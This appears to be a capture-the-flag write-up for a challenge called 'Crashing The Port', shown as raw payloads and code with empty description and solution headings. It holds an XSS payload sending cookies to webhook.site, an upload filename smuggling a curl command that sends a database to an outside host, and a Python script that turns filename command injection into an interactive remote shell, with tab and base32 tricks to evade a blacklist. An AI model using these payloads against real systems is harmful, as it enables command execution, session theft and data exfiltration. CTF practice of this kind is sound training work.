Crashing The Port (Failed)
Description
Solution











Last updated











Last updated
<img src=x onerror="this.src='https://webhook.site/.../?3c='+document.cookie">└─$ echo $'\t' | base64
CQo=Content-Disposition: form-data; name="file"; filename="temp;cd instance ;curl uwuos.free.beeceptor.com -F f=@shipping.db"from requests import Session
from base64 import b32decode
URL = 'https://c363f5bbf5d5ce5afb9761164b2f0996.chal.ctf.ae/'
AUTH = { 'username': 'test02@ctf.ae', 'password': 'test02@ctf.ae' }
DATA_DUMMY = { 'shipperName': 'x', 'consigneeName': 'y', 'description': 'z' }
def refresh_login(session):
session.post(f'{URL}/register', data=AUTH)
session.post(f'{URL}/login', data=AUTH)
print(session.cookies.get_dict())
def upload(session, files):
return session.post(f'{URL}/upload', data=DATA_DUMMY, files=files, allow_redirects=False)
def change_path(command):
command, filename = command.split(' ', 1) # command [/]path/to/file
paths = filename.strip().split('/')
cmd = 'cd ..; ' if filename.startswith('/') else ''
cmd += '; '.join([f'cd {p}' for p in paths[:-1] if p])
cmd += f'; {command} {paths[-1]}'
return cmd
def read_file(command):
cmd = command.replace('cat ', 'base32 -w0 ')
return cmd
with Session() as session:
refresh_login(session)
log = open('response.logs', 'a')
while True:
cmd = input('[~] Command: ')
if cmd == 'exit': break
if '/' in cmd: cmd = change_path(cmd)
if 'cat ' in cmd: cmd = read_file(cmd)
cmd = cmd.replace('; ;', ';')
cmd = cmd.replace(' ', '\t')
print(f'[+] Command Edited: {cmd}')
files = { 'file': (f'temp;{cmd}', 'letmein', 'text/plain') }
resp = upload(session, files)
if resp.status_code == 302:
refresh_login(session)
resp = upload(session, files)
if 'subprocess.CalledProcessError' in resp.text:
print('Command failed')
continue
elif 'Noooooooo' in resp.text:
print('Something got blacklisted...')
continue
result = resp.text
if 'base32' in cmd:
result = b32decode(result.split('\n')[1]).decode()
print(result)
print(result, file=log, flush=True)
# files = { 'file': (f'temp;cd\t..;\tcd\tapp;\tcd\tinstance;\tbase32\t-w0\tshipping.db', 'letmein', 'text/plain') }
# resp = upload(session, files)
# with open('sqlite3.db', 'wb') as f:
# f.write(resp.content)
log.close()